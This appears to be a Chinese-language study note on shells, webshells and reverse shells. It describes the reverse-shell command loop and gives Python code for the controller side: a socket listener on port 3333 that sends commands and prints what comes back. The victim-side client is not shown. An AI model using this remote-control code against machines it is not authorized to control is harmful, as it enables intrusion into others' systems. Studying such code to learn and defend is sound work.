shell就是一个命令执行环境,在windows系统下可以认为shell就是cmd
webshell就是通过浏览器输入命令,在远程电脑上执行
反弹shell就是控制者作为服务器使用,被控制者作为客户端使用
python执行系统命令,os subprocee
os.popen(command+” 2>&1”).read() 2>&1可以把出错信息解读出来
- 在控制者电脑上启动服务器程序,开放一个端口监听
- 被控制者启动客户端程序,与服务器的开放端口建立TCP连接
- 控制端发送指令到客户端
- 客户端执行指令并把执行结果送回控制端
- 重复3、4可以实现无限控制
远程控制
服务器
#远程控制服务器
import socket
s=socket.socket()
s.bind(('0.0.0.0',3333))
s.listen(1)
sock,addr=s.accept()
while 1:
command=input("指令:")
if command=="":
break
sock.send(command.encode())
result=sock.recv(65536).decode()
print(result)
sock.close()
s.close()